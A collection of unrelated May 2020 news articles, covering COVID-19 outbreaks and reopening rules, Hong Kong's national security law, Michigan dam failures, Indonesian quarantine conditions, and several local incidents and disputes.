The facility has about 100 full-and part-time employees, Gendron said.

There are two wings at The Grand in Chittenango, and Gendron said the residents have been moved around to keep those with the virus isolated from those who do not.

Gendron said he didn't know how the virus first got inside the facility in April.

"We're dealing with a really fragile population," he said. "And it's a very close environment."

Another of the companys facilities in Rome, has reported 15 coronavirus-related deaths to the state, the areas highest total for area nursing homes.

That 160-bed facility was hit hard early by coronavirus, Gendron said, so there was more of an impact.

It went through the building, he said, adding that The Grand in Rome also takes more seriously ill patients than Chittenango and many others.

MORE ON CORONAVIRUS

Coronavirus in NY: Cases, maps, charts and resources

Can store owners require you to wear a face mask to enter?

No in-person summer school in NY; too early for decision on fall, Cuomo says

Ask Syracuse.com: When can we visit the parents? When will the DMV, gyms reopen?

Complete coronavirus coverage on syracuse.com

Nolan Weidner is a reporter for the Syracuse Post-Standard and syracuse.com. Got a comment or idea for a story? He can be reached by call or text at 315.247.7419 or via email at nweidner@syracuse.com.
Queensland will not put restrictions on public transport use, as students prepare to go back to school and many workers get set to return to offices from next week.

The staged reopening comes as the government continues to defend its closed domestic borders, under pressure from NSW, the tourism industry and federal government MPs.

The state recorded a second day in a row with no new cases of COVID-19, its cumulative total on 1058, 12 of which are considered active, with four of those cases still being treated in hospital.

After the first sitting week of Parliament in months and a blowtorch of public scrutiny over the border stoush, Premier Annastacia Palaszczuk pointedly did not have a public media conference on Friday.
Airlines have received permissions to resume domestic flight operations from May 25 in a calibrated manner in India after two months of lockdown. However, the government has made sure that they follow the new ticket price guidelines so that fares don't jump out of control. Union Civil Aviation Minister Hardeep Singh Puri, in a press conference, said the fare structure has been decided in such a way that it benefits both flyers and airlines.

Puri said, "Flight durations have been divided in 7 categories - 0-30 minutes, 30-60 minutes, 60-90 minutes, 90-120 minutes, 120-150 minutes, 150-180 minutes, and 180-210 minutes... For example, the minimum fare for a Delhi-Mumbai flight will be Rs 3,500 and the maximum fare will be Rs 10,000. This will be applicable for three months."

Additionally, to ensure that airlines are not selling tickets at higher prices at all times, the minister added that nearly 40 per cent of the seats on a flight must be sold at a price less than 50 per cent of the price band. For example, the mean average of Rs 3,500 and Rs 10,000 is Rs 6,700, so around 40 per cent total seats on a flight have to be sold for less than Rs 6,700.

Meanwhile, airlines are allowed to resume about a third of their operations from Monday, with additional rules like no meals onboard, temperature checks for all passengers and full protective gear for the crew.

Additionally, the Aviation Minister also refuted reports of any special social distancing rules onboard flights and said, "At the moment, the decision has been taken that the middle seat will not be left vacant."

According to the new guidelines issued by Civil Aviation Ministry, passengers will have to report at least two hours before their flight's scheduled departure time at the airport and only those who have already completed web check-in will be allowed to enter the terminal.

It also added that "A self-declaration or Aarogya Setu App status would also be obtained that the passenger is free of COVID-19 symptoms. Passenger with 'red' status in Aarogya Setu App would not be permitted to travel."

Also Read: Domestic flights to resume from May 25: IndiGo, SpiceJet gear up for post-lockdown operations

Also Read: Mumbai-Delhi flights min price capped at Rs 3,500, max Rs 10,000

Also Read: Fewer domestic flights to be allowed, frequency guidelines issued
Syracuse, N.Y.  Despite Gov. Andrew Cuomo saying earlier today he wouldnt send his own kids to a summer camp right now, Onondaga County Executive Ryan McMahon believes they are still a possibility.

Certainly, I think if we continue to progress in this fight with the virus, we learn more about the virus, learn more about how we can interact with each other in a safe way, summer camps could be viable, McMahon said today during his coronavirus briefing. I hope we get to that point where they can open.

McMahon said Tuesday he expected camps would open and added that the county was already working with the state on guidance.

But that was before Cuomo called off in-person summer school today and said he wouldnt send his own children to a summer camp in the state right now. Cuomo said hes concerned about a new coronavirus-related complication in children and needs to know more about it before committing to camps or even in-person schooling in the fall.

Every move in reopening the state is a test of the virus, McMahon said. He noted that Georgia and states in other parts of the country have moved faster in restarting their economies without disastrous consequences.

I understand his concern as a parent, McMahon said of Cuomos caution, also noting he has three kids of his own. Its all about balance and how you can do things safely.

As this keeps going, you continue to find that balance.

MORE ON CORONAVIRUS

Coronavirus in NY: Cases, maps, charts and resources

Ask Syracuse.com: When can we visit the parents? When will the DMV, gyms reopen?

Syracuse University announces fall return date and adjusted academic schedule

Central NY coronavirus hospitalizations at all-time high, Cuomo not concerned yet

Complete coronavirus coverage on syracuse.com

Contact Kevin Tampone anytime: Email | Twitter | Facebook | 315-282-8598
Citizens in northern Hai Duong Province have complained about the disposal of incinerator ash from a local waste treatment plant over the past 10 days, claiming it has caused a bad odour that brings potential health risks for those living nearby.

Incinerator ash has been dumped along the adjacent area between Co Dung and Tuan Viet communes in Kim Thanh District in Hai Duong Province, causing severe environmental pollution and posing health risks for local residents.  Photo tienphong.vn

The waste treatment plant, which belongs to Hai Duong Urban Work Management JSC, is located in Viet Hong Commune in Thanh Ha District.

The company has reportedly dumped incinerator ash in the adjacent area between Co Dung and Tuan Viet communes in Kim Thanh District as part of land levelling work over the past 10 days.

Residents in the area said the ash contained cloth, nylon, burning plastic and scrap pieces, causing a terrible toxic smell and giving them headaches and dizziness when inhaling it.

Nguyen Van Thanh, a resident in Co Dung Commune told Tien Phong (Vanguard) newspaper that the company said it dumped the ash for land levelling but there was no technical layer between the ash and the land as required.

Worse, the ash contained unburnt or burning times and stank.

This is an act of environmental pollution, he said.

We really hoped that the provincial authorities would inspect the situation, he added.

Thanh also said that local residents had to inhale the smoke and dust released from the waste treatment plant for years.

Ta Hong Minh, deputy director of the provincial Department of Natural Resources and Environment, said the waste treatment plant was put into operation in July 2012 with a designed capacity of 64,000 tonnes of waste per year.

It was expected to produce 12,390 tonnes of compost per year.

However, the plant only processed half of the designed capacity and the rest of the rubbish had to be burnt.

In addition, the compost produced from the treatment process could not be used and the company was forced to stop producing it, meaning all domestic waste has been burnt in incinerator since 2016.

Vu Dinh Hien, head of the provincial Sub-department of Environmental Protection, said inspectors of the provincial Department of Natural Resources and Environment and the provincial authority would carry out a comprehensive inspection of the incident soon.

Hoang Duong Tung, former head of the Vietnam Environmental Administration, said incinerator ash from domestic waste mainly contained large amounts of hazardous waste as domestic waste was not classified in the first place.

To use this kind of ash for land levelling, the company must have its waste tested to prove it's non-hazardous.

Normally, ash from domestic waste incinerators is not used as a material for land levelling because its likely to contain high levels of hazardous substances. Only ash from industrial incinerators like coal-fired power plants can be used for that purpose, he said.

Nguyen Kim Tuyen of the Vietnam Environment Administration agreed, saying ash must be tested and meet requirements stipulated by the Ministry of Construction.

Even when the use of ash for land levelling was permitted, the work must comply with technical regulations such as the use of fabric layers so as not to affect groundwater.

The administration would check the incident and have solutions for that, Tuyen said. VNS

Pollution caused by coal dust threat Hai Duong's people Coal and cement dust are upsetting locals in Kinh Mon of the northern province of Hai Duong, the land with romantic rivers and mountains.

Hai Duong suspends waste treatment plant project Hai Duong Province has decided to suspend a project to build a waste treatment and power generation plant in Luong Dien Commune, Cam Giang District, according to the leader of the provincial Department of Planning and Investment.

Hai Duong suspends waste treatment plant project
A mother whose head was split open after she was 'crash-tackled' to the ground by a security guard at a hospital car park is claiming $786,770 in damages.

Toni Burcher, 53, was walking out of Logan Hospital, south of Brisbane, to her car with her husband Robert Cowling on May 5, 2017 when she was confronted by security officer Luke Bailey.

CCTV footage showed Mr Bailey approaching the pair and blocking Ms Burcher, who has a mental illness.

The video then shows him appearing to tackle her and they both fall to the ground.

Ms Burcher has sued Mr Bailey, his fellow guard Lynda Hadley, their employer MSS Security and the hospital's management Metro South Hospital and Health Service.

Ms Burcher claims she has a psychological injury and scarring from the incident, the Courier-Mail reported.

Security footage has shown the moment a mentally ill mother was tackled to the ground by a hospital security guard and prompted her to sue the officers involved

Ms Burcher's head hit the ground and split open a six-centimetre gash which required three staples and left her with scaring.

She claimed once she was on the ground Mr Bailey pulled out parts of her hair and pushed her head into the ground as she struggled.

After attempting to help his struggling wife Mr Cowling claimed Mr Bailey assaulted him and kept him pinned to the ground, while Ms Hadley held onto his wife.

She lodged a claim for $786,770 at the Supreme Court for psychological damage and a range of injuries

Ms Burcher previously told ABC News she was taken the hospital after she attempted to take her own life but decided to leave after she became upset when staff asked her inappropriate questions about the suicide method she had used.

'I don't think she was treated well at all,' Mr Cowling said.

'I wanted to get her out of there, the staff were stressing her out. I wanted to take her to the QEII [hospital] where I know she would be treated better.'

In her claim, Ms Burcher said she was 'falsely imprisoned' by MSS security officers while she was pinned down and dressed in nothing but a blanket and her underwear.

MSS Security previously conducted an internal review and claimed their officers had not used excessive force and in another Supreme Court case said Mr Bailey 'tripped'.

After the incident Queensland Police ran their own investigation but said they did not find any evidence that the security officer's actions were excessive.

Ms Burcher said she hoped her legal efforts would result in better handling of people with mental illness in the future. Pictured is Logan Hospital in Queensland

In court documents Mr Bailey claimed Ms Burcher slapped his colleague Ms Hadley with a bloodied hand.

But Mr Cowling argued his wife thought she had been spat at by the security officers and wasn't aware it was her own blood.

'Toni put her fingers in the (spit) and wiped it on the guards left cheek with three fingers, saying in her head as she did it "Take your (spit) back",' Mr Cowling said.

Ms Burcher said she hoped her legal efforts would result in better handling of people with mental illness in the future.
An ugly stand-off between the Queensland Rugby Union and Rugby Australia against a trio of star players is yet to be resolved and being closely monitored by lawyers following disputes that contracts had been terminated.

The management of Reds players Izack Rodda, Harry Hockings and Isaac Lucas appear to suggest they believe their clients are free to explore other playing options abroad but it might not be that simple, with the QRU and RA adamant they havent been released from current deals.

Rising Wallaby Izack Rodda is one of three players to part ways with the Queensland Reds. Credit:Getty

On Monday the QRU issued a statement saying that Rodda, Hockings and Lucas were stood down until further notice for refusing to take a 60 per cent pay cut over a six month period - as negotiated between RA and the Rugby Unions Players Association  and not signing the JobKeeper forms like 189 of their peers across the country.

It then emerged Rodda wanted to move to another Super Rugby side because of a feud with coach Brad Thorn, while the other younger players wanted to get out of their Reds deals to explore possible options in Japan.
New Jersey restaurant owner Chris Clayton told CNBC on Friday that giving businesses the green light to reopen during the coronavirus pandemic does not guarantee their survival.

"Open is a four-letter word," Clayton said on "Squawk Alley." "Just being open doesn't mean that you're not going to go under. You need to be open enough, especially for businesses that are ready to do volume, to make it worth it."

Clayton is the owner and operator of Margate Dairy Bar & Burger in Margate City, southwest of Atlantic City on the Jersey Shore. Beaches in New Jersey are allowed to open for Memorial Day weekend, with social distancing and other restrictions in place, and nonessential retailers can now begin offering curbside pickup.

New Jersey Gov. Phil Murphy said Thursday he thinks it could be a "matter of weeks" until the state can ease more virus-related restrictions and allow more nonessential businesses to reopen. New Jersey has the second-most cases of Covid-19 in the U.S., with 152,579 as of Friday afternoon, according to Johns Hopkins University.

Often, when states and cities relax health orders, businesses in certain industries will have to comply with capacity restrictions, which are meant to allow for social distancing. But Clayton noted that capacity limits can be particularly difficult for certain sectors.

"I have friends in the amusement park and theater business and they go, 'Listen, if we have to open at 25%, 50%, social distancing, we can't pay our electric bill," Clayton said.

Margate Dairy Bar & Burger is open for delivery, and Clayton stressed the importance of making sure customers and workers alike feel safe through protocols such as disinfecting pens and taking employees' temperatures. The changes have brought added costs for supplies and hurt margins, Clayton said.

"We believe some of them will be temporary, but we will believe some of them will be more long term," he said. "If you're not watching the margins in the business, whether you're small, medium or large, you might be dead, just not hit the floor yet," Clayton added.

Founded in 1952, Clayton's business  which has walk-up windows for service  is "built for volume," which is complicated in a world upended by a health crisis, he said. "If I'm not hearing from the chief of police on a Saturday night that there's too many people in the street, I'm concerned I'm slow."

"Now we've gone from being a business that we want folks, 40, 50, 60 years old ... to come and hang to a place that says, 'Hey, we love you, but you've got to get your product and you've got to go," he added. "It makes us sad, but, again, we can innovate. ... For some of us it's harder than others, and my hopes are that we can get them back and up and running."
How are you planning to teach the 2020 election? What can The Learning Network do to help you? And what concerns do you have, if any, about teaching this particular election?

We hope youll take a few minutes to share your ideas with us.

Later this summer we plan to share a suite of teaching resources that will help teachers and students engage with and learn from this important election. One of those ideas is a reprise from 2016: our popular Civil Conversation Challenge, in which we invite students to have productive, respectful conversations across divides about the hot-button issues that are most important this election season. What issues will be up for discussion? We havent decided yet, because were waiting for students to tell us by responding to the question What Issues in the 2020 Presidential Race Are Most Important to You?

Among other opportunities, well also be offering our third annual student photo contest, this time with a civics theme.

And we just published 11 ways to engage students with Election 2020 from now until November, including monitoring the messaging (and misinformation) and volunteering (virtually).
Hong Kong's pro-democracy lawmakers sharply criticized China's move to take over long-stalled efforts to enact national security legislation in the semi-autonomous territory, saying it goes against the one country, two systems framework that promises the city freedoms not found on the mainland.

The proposed bill, submitted on the opening day of China's national legislative session Friday, is aimed at forbidding secessionist and subversive activity, as well as foreign interference and terrorism. It comes after a months of pro-democracy demonstrations last year that at times descended into violence between police and protesters.

The move, one of the most controversial items on the agenda of the National People's Congress in years, drew strong rebukes from the U.S. government and rights groups. Despite that, Beijing appears to have lost patience and is determined to assert greater control and limit opposition activity following last year's protests.

Xi Jinping has torn away the whole pretense of 'one country, two systems', former pro-democracy lawmaker Lee Cheuk-yan said of China's leader.

He said at a press briefing by opposition parties and activists that the move shows Beijing is directly taking control." They're trying to ban every organization in Hong Kong who dares to speak out against the Communist Party, he said, describing it as a challenge to global values such as freedom and liberty.

A previous effort to pass such legislation in Hong Kong's legislature was shelved after massive street protests in 2003. This time, Beijing has decided to circumvent the territory's law-making body using what critics say are dubious legal grounds under the Basic Law, which has served as a sort of constitution for Hong Kong since its return to China from British colonial rule in 1997.

While the enactment of such legislation is required under Article 23 of the Basic Law, Beijing has decided not to try to ram it through the Hong Kong legislature, said Steve Tsang, director of the China Institute at the School of Oriental and African Studies in London.

Instead, it has chosen what he called a worse option by proposing the National People's Congress enact a national security law for the territory.

For many in Hong Kong, the NPC enacting for Hong Kong will be tantamount to the effective end of the 'one country, two systems' model, Tsang said.

I find it hard to believe this will not trigger either a massive peaceful and orderly demonstration or more vocal and aggressive protests or, indeed, most probably, a combination of both. '



A return of violent protests would be a further drag on the territory's creaking economy, prompting multinational companies to reconsider their presence and Washington to review its policy of granting Hong Kong more advantageous trade conditions than mainland China, Tsang said.

Former Hong Kong leader C.Y. Leung defended the move in an interview with Chinese state broadcaster CCTV.

He warned that the pro-democracy opposition should not underestimate the determination of the Chinese government to deal with the issues of Hong Kong. The national security legislation neither hinders foreign investors from investing in Hong Kong, nor prevents local residents from enjoying the freedoms accorded to them by law, he said.

To implement one country, two systems in Hong Kong, there must be laws to safeguard national security, Leung said, noting that countries such as the United States and Singapore have strict national security laws as well.

Pro-democracy lawmaker Tanya Chan countered that the proposal goes against the Basic Law. It is a complete dishonor of promises made under the Sino-British Join Declaration, as well as all the promises made by the Chinese government to us and the world, she said.

Taiwan's government urged Beijing not to lead Hong into greater turmoil with the proposed national security law, stating that it will cause dissatisfaction among the Hong Kong people and cause social instability.

The laws of any civilized society should be an umbrella to protect the people, rather than shackles on their freedom, Taiwan's Mainland Affairs Council said in a statement.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
DETROIT  Satellite images  taken from space nearly a year apart from each other  show just how devastating the flood damage is in Midland County.

The record flooding this week destroyed homes, cars, roads, bridges and other property; damaged the sewer system, and forced 10,000 people to evacuate the area along the river, leaving many homeless and without electricity.

The natural-color images from Landsat 8, an American Earth observation satellite, depict the two mid-Michigan dams  Edenville and Sanford  that failed and the Tittabawassee River.

The Tittabawassee River hit a historic high Wednesday morning, rising above its previous record in 1986, and reaching 34.6 feet. Major flood stage is 28 feet.

A number of homes in Midland were damaged, but no injuries or fatalities were reported. A spokeswoman for Midland said Friday that residents were cleared to return home if they can safely do so.

The dams are both owned by Boyce Hydro Power.

These natural-color images show flooding across Midland County as observed by the Operational Land Imager (OLI) on Landsat 8. The pair show the Tittabawassee River on May 20, 2020 (right), compared to June 3, 2019 (left).

News reports say that at one point, nearly 374,000 gallons  about half the volume of an Olympic-sized swimming pool  per second were rushing through the Edenville Dam.

At the same time, the dam breach drained Wixom Lake, the reservoir. Wixom Lake looked like a giant beach with a small river running through it.

It's unclear whether the Sanford Dam also breached but it also failed to hold floodwaters back.

Gov. Gretchen Whitmer, who visited and flew over the area Wednesday, acknowledged that Michiganders are living through tough times, but need to remain vigilant  and helpful  especially during the upcoming Memorial Day weekend.

"If you know someone who has been impacted, please reach out," she said, referring especially to the mid-Michigan residents whose lives had been turned upside down. "This is truly a crisis in the middle of a crisis."

President Donald Trump signed an emergency declaration Thursday authorizing the Department of Homeland Security and the Federal Emergency Management Agency to coordinate disaster relief efforts.

Story continues

In Spaulding Township near the Tittabawassee River, about a dozen people have evacuated, Fire Chief Tom Fortier told the Associated Press on Friday morning.

Fields and roads were under several feet of water, resembling wide, shallow lakes. Water stood 2 to 3 feet deep in some houses where the owners decided to stick out the flooding, Fortier said.

Contributing: Associated Press

This article originally appeared on Detroit Free Press: Michigan flooding: See destruction left behind after two dams failed
Source: Xinhua| 2020-05-22 22:41:13|Editor: huaxia

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CAIRO, May 22 (Xinhua) -- Egyptian President Abdel Fattah al-Sisi on Friday vowed support for progress and stability of Sudan, the presidency office said in a statement.

Bassam Radi, spokesperson of the presidency, said that the remarks came in a phone call with Chairman of Sudan's Sovereign Council Abdel Fattah al-Burhan.

The talks have tackled several regional issues and means of promoting the bilateral ties and visions on cooperation in different fields, Radi added.

The Egyptian-Sudanese relations have been tense over the past few years on various issues, including their differences over the Grand Ethiopian Renaissance Dam (GERD) which Ethiopia is building on the Nile River.

While both Ethiopia and Sudan hope to reap massive benefits from the GERD construction, Egypt is worried that it would undermine its 55.5-billion-cubic-meter annual share of the Nile River water. Enditem
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Linkedin Tri Indah Oktavianti (The Jakarta Post) Jakarta  Fri, May 22, 2020 16:52 608 fc6853813033f564188675f8bd9afff5 1 National COVID-19,quarantine,repatriasi,repatriation,repatriates,Wisma-Pademangan-karantina,Wisma-Atlet-Kemayoran Free

Repatriated Indonesians who have been quarantined for suspected COVID-19 infections in Tower 9 of Block C2 of the Kemayoran Athletes Village in North Jakarta have reported inadequate facilities in the tower, which is housing more than 2,000 citizens.

Government data shows that Block C2 has three towers, including Tower 9, with a combined capacity of 1,932 rooms. Block C2, now called Pademangan Athlete Village, is separate from Block D10, where the Kemayoran Athletes Village emergency COVID-19 hospital is located.

The recently opened quarantine facility for repatriated citizens came under scrutiny after a postgraduate student named Kunaifi, who had returned from the Netherlands, wrote a lengthy complaint on Tuesday about his quarantine in the 24-story building.

Kunaifi, his wife and his two children were admitted to the quarantine facility on May 16, soon after they landed in Jakarta. According to Kunaifi, physical distancing was not properly implemented in the building as people were packing into elevators and gathering in large crowds.

Inside the elevator, shoulders meet shoulders. My family and I are terrified that we have to physically touch people who have just come from the worst-hit COVID-19 countries, Kunaifi wrote. It was impossible, he said, to wait until the elevator was empty because the site was too crowded and new people keep coming.

He said people had to collect food on their own from the first floor, where no physical distancing was being maintained.

As the amount of food was inadequate, some residents were left with empty stomachs. As a family of four, we only got two portions for sahur [predawn meal] today. We didnt get any food for dinner, Kunaifi wrote on Tuesday.

Another repatriated citizen named Bella, who requested anonymity, corroborated accounts of the dire situation at Tower 9. The 27-year-old had returned from visiting family in Europe and was quarantined from May 14 to 18. She was in the first group of repatriated citizens to be quarantined at the facility.

I tested negative [for COVID-19], and all I thought was that I should do a 14-day self-quarantine at home. But then the officials took my passport, and I was taken to a quarantine facility by military personnel without getting any detailed information, she told The Jakarta Post.

She explained that two or three people were grouped randomly in one room with a shared bathroom. We were all suspected of having COVID-19. No one could tell whether someone carried the virus or not.

There were two occasions when I didnt get any food, Bella recalled. There was no soap in the bathrooms, and there was no sanitizer liquid in the so-called quarantine facility.

Anna, 24, a migrant worker returning from Singapore, has been quarantined in the facility since May 14. She will stay there at least until her swab test results are returned.

My condition is good, but the facilitys condition has worsened day by day, Anna said on Wednesday. I cant take a bath nor can I go to the toilet because theres been no running water since morning. Also, theres not enough drinking water, she said.

She added that hundreds of people gathered in a crowd on the first floor of the building on Wednesday to obtain their swab test results, ignoring physical distancing procedures. We were told to gather to find out on our own whether our test results were available or not.

Responding to the situation, COVID-19 Emergency Hospital Joint Force deputy commander Brig. Gen. M. Saleh said that Tower 9 had only opened on May 14 and was not fully ready to receive such a high number of repatriated citizens.

More than 1,000 repatriates came to the facility on the very first day it was opened, he said. Within less than a week, the facility had received 2,158 returnees to be quarantined, he said.

Saleh said that Tower 9, which was designated for repatriated Indonesians, was under the management of the Health Ministrys Port Health Authority (KKP). Therefore, he said, the facility was different than the towers in Block D10 in Kemayoran Athletes Village, which were used as an emergency COVID-19 hospital.

Saleh claimed the condition at the facility had been gradually improving and said he appreciated all the suggestions that had been given.

I also demand all people [in the quarantine facility] adhere to the health protocols, with or without official orders, he said in a written statement on Wednesday.


MEXICO CITY (dpa-AFX) - General Motors is reopening its plants in Mexico after it received approval from the Mexican government to restart operations in the country, according to reports.



The automaker had suspended its operations in Mexico in the third week of March due to the coronavirus pandemic.



GM's Mexican manufacturing facilities are important for the automaker as they supply critical parts, including wiring harness, for its manufacturing units in the U.S.



GM de Mexico plans to open its plants gradually. The company will restart the transmissions and engines plants in Ramos Arizpe and Silao facilities, located in the northern state of Coahuila and central state of Guanajuato respectively, from late Thursday.



GM's assembly plants at Ramos Arizpe and Silao could restart operations on Friday depending on the status of their suppliers. The automaker is yet to decide when to restart manufacturing operations in Toluca, near Mexico City, and in the central state of San Luis Potosi.



GM's plant in San Luis Potosi makes the Chevrolet Trax, Chevrolet Equinox and GMC Terrain, while the Ramos Arizpe facility makes the Chevrolet Blazer and Chevrolet Sonic.



GM's Silao plant in Guanajuato, Mexico, is one of the biggest auto plants in Mexico. The plant makes certain versions of the fast selling Chevrolet Silverado and GMC Sierra heavy-duty pickup trucks.



The Mexican government considered auto manufacturing, construction and mining as essential activities and added them to the official list of essential activities last week. However, they need to meet certain safety protocols.



GM is putting in place health and safety protocols while reopening the plans. Employees returning to work in Mexico must wear masks and glasses at all times, and maintain a 'safe distance' from each other.



The entry of workers to the plants will be controlled at the entrances and workers will also have their temperatures checked before they enter the facilities.



Earlier this week, GM, Ford and Fiat Chrysler restarted their plants in the U.S., after having shut down them in late March. In the U.S. too, the automakers have implemented new safety measures to help keep the coronavirus from spreading.



Copyright RTT News/dpa-AFX

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Moving to a new house from the desert and finding her sons with stable jobs are the happiest two things of Wuahan Roza, a resident in Darya Boyi village, Yutian county of northwest Chinas Xinjiang Uygur Autonomous Region, who shared her joy with the first secretary Zhao Gang of her village for poverty alleviation a couple days ago.

The relocation was sure a big deal for Darya Boyi, which sat at the heart of the Taklimakan Desert. After the last 114 households moved into the new residence with power and water supply and road access 91 kilometers from their old town on Sept. 27, 2019, how to settle them rose as a prominent issue.

Most of the young people in the village herded sheep for a living in early 2018 when Zhao first arrived at the village. However, they were not able to secure stable income due to the lack of intensive management.

In June 2018, the village proposed establishing a husbandry cooperative that manages villagers sheep collectively, thus freeing the labor herding the sheep. The approach was firstly doubted by many. However, after a years operation, those who joined the cooperative not only received bonus, but also liberated themselves and made money by doing other jobs.

As a result, more and more villagers applied to entrust their sheep to the cooperative, including Akbar Abbakr, one of Wuahan Rozas sons who wanted to seek a job but lacked vocational skills - a case that applied to most of the young villagers there.

To solve the problem, the village invited teachers from a school for farmers and herdsmen to train the young villagers, and matched them with relevant employers.

Thanks to the efforts, Akbar Abbakr now works in a factory in northern Xinjiang, earning a monthly salary of over 4,000 yuan ($563.5). He even remitted money to his family recently.

Apart from seeking a job outside, a growing number of villagers are choosing to work near their homes in recent years.

Earlier last year, the village established a cooperative producing and selling agricultural products, and invited experts from Xinjiang Academy of Agricultural Sciences and Yutian county for cultivation training. A total of over 300 people now work for the cooperative.

According to statistics released by National Development and Reform Commission, China has built over 2.6 million resettlement houses in 39,000 resettlement areas in 22 provinces, autonomous regions and municipalities by the beginning of March this year, basically meeting the task set in the countrys 13th Five-Year Plan.

The relocation efforts resettled 9.3 million impoverished people from mountainous or inhospitable areas, and lifted 9.2 million of them out of poverty, shifting the priority of the relocation work from housing construction to follow-up support.
Source: Xinhua| 2020-05-23 01:39:22|Editor: huaxia

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ADDIS ABABA, May 22 (Xinhua) -- The number of confirmed COVID-19 positive cases across Africa surpassed 100,000 as of Friday afternoon, the Africa Center for Disease Control and Prevention (Africa CDC) said.

The Africa CDC in its latest situation update issued on Friday revealed that the number of confirmed COVID-19 positive cases across the continent rose from 95,201 on Thursday to 100,330 as of Friday afternoon.

The death toll due to the COVID-19 pandemic across the African continent had surged to 3,101, according to the Africa CDC.

It disclosed that some 39,416 people who had been infected with the COVID-19 had recovered across the continent as of Friday afternoon.

The continental disease control and prevention agency also noted that the virus had spread into all of the 54 African countries.

It said that the Northern African region is the most affected area across the continent both in terms of positive COVID-19 cases, as well as the number of deaths.

CONCERTED EFFORTS

The African countries are mobilizing resources and taking measures to fight against COVID-19.

Many countries on the continent have imposed night curfew and suspended international flights so as to curb the spread of the virus. Wearing face masks is mandatory at public places in many countries.

They also have the support from international organizations, and countries including China.

In addition to taking actions including sending medical teams to relevant African countries and providing anti-epidemic materials in short supply within its capacity, China said it will establish a cooperation mechanism for its hospitals to pair up with 30 African hospitals.

The Asian country added it will also accelerate the building of the Africa CDC headquarters to help the continent ramp up its disease preparedness and control capacity.

The World Bank announced on Wednesday that it had approved 107 billion shillings (about 1 billion U.S. dollars) for Kenya to address the COVID-19 fiscal financing gap.

The World Health Organization (WHO) said in a statement on Thursday that it is working with governments in Africa to train health workers, improve surveillance, testing, contact tracing and treatment.

More than 7,000 health workers, including over 400 in Tanzania, have been trained in WHO African Region since the beginning of the pandemic, according to the statement.

UN CALLS FOR MORE SUPPORT

The WHO said in the statement that most countries on the continent, however, do not have the capacity to manage many critically ill COVID-19 patients.

There are on average nine intensive care unit beds per one million people, according to a March 2020 survey based on self-reports by 47 countries in the WHO African Region.

Improvements are being made to increase the number of ventilators in intensive care units and more critical care clinicians are being trained, it added.

UN Secretary-General Antonio Guterres on Wednesday called for international action to help Africa deal with the COVID-19 pandemic.

"These are still early days for the pandemic in Africa, and disruption could escalate quickly. Global solidarity with Africa is an imperative -- now and for recovering better," said Guterres in a video message for the launch of a policy brief on the impact of COVID-19 on Africa.

Ending the pandemic in Africa is essential for ending it across the world, he said.

"We are calling for international action to strengthen Africa's health systems, maintain food supplies, avoid a financial crisis, support education, protect jobs, keep households and businesses afloat, and cushion the continent against lost income and export earnings," said Guterres.

He warned that the pandemic threatens African progress. "It will aggravate long-standing inequalities and heighten hunger, malnutrition and vulnerability to disease. Already, demand for Africa's commodities, tourism and remittances are declining. The opening of the trade zone has been pushed back, and millions could be pushed into extreme poverty." Enditem
A 15-year-old schoolboy's loud tuba playing during self-isolation has sparked a bitter neighbourhood dispute - with his next door neighbour leaving a passive aggressive note threatening to call the police.

Ryan Collier, from Brisbane, has practiced playing the tuba at 8am each day while home-schooling during the COVID-19 lockdown.

But the aspiring musician's practice sessions irked one of his neighbours so much they dropped a letter in his family's letterbox demanding he stop.

His mother Anne-Marie said the note had left her 'fuming'.

15-year-old schoolboy Ryan Collier's tuba playing during the coronavirus lockdown has sparked a bitter neighbourly dispute about his 8am music sessions

His mother Anne-Marie said the letter had left her 'fuming' (mother pictured with the letter) and said she would not be telling her aspiring musician son to stop playing his instrument

'We would not have had a problem changing practice hours but there was no talking - just the note,' she told A Current Affair.

'I was instantly angry.'

Ms Collier said her son had played the Last Post in their driveway on Anzac Day, and said she would not be telling Ryan to stop his music.

But the note said the neighbour had already reported the tuba playing to police, and threatened to call authorities again if the noise did not stop.

The mother further showed her anger at the letter in a Facebook post.

'I apologise that his practice is annoying you but suggest you get some earplugs because i will most definitely NOT tell him to stop practicing,' she wrote.

'What the hell is wrong with you.

'Please do call the police and (hopefully) they will tell you to pull your head in also.'

Her post split opinion, with some saying her neighbour was right to ask her son to stop playing music.

His mother shared her anger at the letter in a Facebook post and suggested they 'get some earplugs' if the nose from Ryan's practice sessions annoyed them.

'Police will not say 'pull your head in'. How uncouth are you? Music can be annoying at the best of times,' one person commented.

Others said though if the noise was such an issue, other residents should consider moving to somewhere with more land where they would not be disturbed.

'I'd be getting him to practice earlier and longer just out of spite!' one social media user wrote.
The Darul Hadith Institute for Islamic Studies in Kumasi has described Sheikh Anas Tawfiq Ibrahim Bakri as a man of peace who is committed to the laws of the country.

Reacting to a May 20, 2020 publication, which the rejoinder presented him otherwise, the institute described the story as not representative of the Sheikh, who is anything but the description given him.

There is an agenda to portray the Sheikh in negative light and his criticism of the performance of now Supreme Court's Justice Tanko Amadu during his vetting by the Appointments Committee of Parliament; the institute provided an opportunity for this.

It is important to note that this agenda to malign the Sheikh, though a longstanding one, has come up because of his criticism of Justice Amadu, whom in the opinion of the majority of Muslims in Ghana, did a disservice to Muslims in Ghana during his vetting.

As to how criticism constitutes an incitement to violence, only A.R. Gomda can provide answer to, the institute said.

Continuing the statement authored by the Executive Secretary of the institute, Hassan Adam pointed out that the Sheikh is committed to the truth and shall pursue nothing but the truth without traversing the boundaries of freedom of speech as enshrined in the Constitution of Ghana.

The publication, the institute claims, seeks to tarnish as they put it the matchless image of Sheikh Anas Tawfiq Ibrahim Bakri and by extension the Darul Hadith Institute of Islamic Studies.

Turning to the late father of Sheikh Anas Tawfiq, the institute described him as a leader among his peers. A man of formidable accomplishments who served the duties of his office; he worked with the US Embassy. He championed the construction of a community clinic in the Asokore Mampong Municipality.

Such a personality should not be associated with terrorist organizations, the statement added.

---Daily Guide
Rocks crushed two workers to death in a trench collapse at the site of town homes under construction in Mississippi.

The workers were in the trench laying pipe for sewer lines when it collapsed Tuesday morning, Starkville Fire Chief Charles Yarbrough told news outlets.

One worker died at the scene, Yarbrough said. That person was not immediately identified.

The second worker, only identified as a 19-year-old man, was trapped in the rubble for more than two hours before being pulled out, loaded onto a helicopter and flown to the hospital. He was later pronounced dead at North Mississippi Medical Center in Tupelo, Oktibbeha County Coroner Michael Hunt said.

The workers were from Southern Civil Contracting, Inc. based in Tuscaloosa, Alabama, according to news outlets.

Officials with the Occupational Safety and Health Administration were investigating.

